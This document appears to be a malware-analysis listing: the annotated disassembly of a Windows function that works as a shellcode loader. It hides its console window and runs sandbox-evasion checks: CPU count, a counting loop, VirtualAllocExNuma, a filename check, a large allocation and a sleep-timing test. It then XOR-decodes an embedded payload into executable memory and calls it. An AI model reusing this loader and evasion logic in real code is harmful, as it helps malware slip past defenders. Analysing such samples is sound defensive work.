Function at 0x140001584
Capabilities:
Allocate or change rwx memory
Check for time delay via gettickcount
Execute shellcode via indirect call
Get system information on windows
Hide graphical window

Disassembly:
push rbp
sub rsp, 0x1d0
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x160], ecx
mov qword [rbp + 0x168], rdx
call fcn.140001af0
mov rax, qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
call rax
mov qword [rbp + 0x130], rax
mov rax, qword [rbp + 0x130]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.USER32.dll_ShowWindow]
call rax
lea rax, [rbp + 0xc0]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetSystemInfo]
call rax
mov eax, dword [rbp + 0xe0]
mov dword [rbp + 0x12c], eax
cmp dword [rbp + 0x12c], 1
jg 0x140001600
mov ecx, 0
call sub.msvcrt.dll_exit
movabs rax, 0x605743118
mov qword [rbp + 0x120], rax
mov qword [rbp + 0x148], 0
mov qword [rbp + 0x140], 0
mov qword [rbp + 0x140], 0
jmp 0x140001644
add qword [rbp + 0x148], 1
add qword [rbp + 0x140], 1
mov rax, qword [rbp + 0x140]
cmp rax, qword [rbp + 0x120]
jl 0x140001634
mov rax, qword [rbp + 0x148]
cmp rax, qword [rbp + 0x120]
je 0x14000166e
mov ecx, 0
call sub.msvcrt.dll_exit
mov qword [rbp + 0x118], 0
mov rax, qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
call rax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x3e8
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAllocExNuma]
call rax
mov qword [rbp + 0x118], rax
cmp qword [rbp + 0x118], 0
je 0x1400016ef
lea rax, str.znwzjpWpr
mov rcx, rax
call fcn.140001530
mov rax, qword [rbp + 0x168]
mov rax, qword [rax]
lea rdx, str.Test.exe
mov rcx, rax
call sub.msvcrt.dll_strstr
test rax, rax
je 0x14000172b
jmp 0x1400016f9
mov ecx, 0
call sub.msvcrt.dll_exit
mov dword [rbp + 0x114], 0
mov qword [rbp + 0x108], 0
mov ecx, 0x164cbca8
call sub.msvcrt.dll_malloc
mov qword [rbp + 0x108], rax
cmp qword [rbp + 0x108], 0
je 0x14000174f
jmp 0x140001735
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x108]
mov r8d, 0x164cbca8
mov edx, 0
mov rcx, rax
call sub.msvcrt.dll_memset
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x104], eax
mov ecx, 0x18ef
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_GetTickCount]
call rax
mov dword [rbp + 0x100], eax
mov eax, dword [rbp + 0x100]
sub eax, dword [rbp + 0x104]
cmp eax, 0x18ee
jg 0x140001798
mov ecx, 0
call sub.msvcrt.dll_exit
mov rax, qword [rbp + 0x108]
mov rcx, rax
call sub.msvcrt.dll_free
mov byte [rbp + 0xbf], 0
movabs rax, 0x94cb4fe08df0b645
movabs rdx, 0xbd5df5cc3694efc8
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], rdx
movabs rax, 0x8541fb08ad66f217
movabs rdx, 0x3b56ddc04c34c0ef
mov qword [rbp - 0x30], rax
mov qword [rbp - 0x28], rdx
movabs rax, 0x22f30669268ac5c6
movabs rdx, 0xbbb5640aeb8a45aa
mov qword [rbp - 0x20], rax
mov qword [rbp - 0x18], rdx
movabs rax, 0x8b129aa582966870
movabs rdx, 0x6f07db4ef534c860
mov qword [rbp - 0x10], rax
mov qword [rbp - 8], rdx
movabs rax, 0x6cc75132aba9c89f
movabs rdx, 0xb1ce0f2528d24338
mov qword [rbp], rax
mov qword [rbp + 8], rdx
movabs rax, 0xcdc3cd4ce2bb7785
movabs rdx, 0x65ca541ce56b9f4e
mov qword [rbp + 0x10], rax
mov qword [rbp + 0x18], rdx
movabs rax, 0x78191aef2404cdf8
movabs rdx, 0x75cefaa2b48ae293
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], rdx
movabs rax, 0x23c4c343b00c7792
movabs rdx, 0xf103cd476e6d0d20
mov qword [rbp + 0x30], rax
mov qword [rbp + 0x38], rdx
movabs rax, 0x99405acc09cfdf07
movabs rdx, 0x2774d8d3830c3d32
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], rdx
movabs rax, 0x8e1f0018c0dbdad4
movabs rdx, 0xc1697373febd559b
mov qword [rbp + 0x50], rax
mov qword [rbp + 0x58], rdx
movabs rax, 0xe54efef4bdddaf8d
movabs rdx, 0xfed9d27bd3a7e57d
mov qword [rbp + 0x60], rax
mov qword [rbp + 0x68], rdx
movabs rax, 0xaf25d342852cdceb
movabs rdx, 0x9499a3e31adf5813
mov qword [rbp + 0x70], rax
mov qword [rbp + 0x78], rdx
movabs rax, 0x52117561d93f0931
movabs rdx, 0x88fc30704435ecf
mov qword [rbp + 0x80], rax
mov qword [rbp + 0x88], rdx
movabs rax, 0x833d12b138679525
movabs rdx, 0xb8b32848500ae8d8
mov qword [rbp + 0x90], rax
mov qword [rbp + 0x98], rdx
movabs rax, 0x18225cfc7460796d
movabs rdx, 0x2529c487fedac578
mov qword [rbp + 0xa0], rax
mov qword [rbp + 0xa8], rdx
movabs rax, 0xffa967ab53b3b025
movabs rdx, 0xb244d3bdfe459e
mov qword [rbp + 0xaf], rax
mov qword [rbp + 0xb7], rdx
mov dword [rbp + 0x13c], 0
mov dword [rbp + 0x138], 0
jmp 0x1400019eb
cmp dword [rbp + 0x13c], 0xfe
jne 0x1400019b2
mov dword [rbp + 0x13c], 0
mov eax, dword [rbp + 0x138]
cdqe
movzx edx, byte [rbp + rax + 0xbf]
mov eax, dword [rbp + 0x13c]
cdqe
movzx eax, byte [rbp + rax - 0x40]
xor edx, eax
mov eax, dword [rbp + 0x138]
cdqe
mov byte [rbp + rax - 0x41], dl
add dword [rbp + 0x13c], 1
add dword [rbp + 0x138], 1
cmp dword [rbp + 0x138], 0
je 0x14000199c
mov r9d, 0x40
mov r8d, 0x1000
mov edx, 1
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_VirtualAlloc]
call rax
mov qword [rbp + 0xf8], rax
movzx edx, byte [rbp - 0x41]
mov rax, qword [rbp + 0xf8]
mov byte [rax], dl
mov rax, qword [rbp + 0xf8]
call rax
mov eax, 0
add rsp, 0x1d0
pop rbp
ret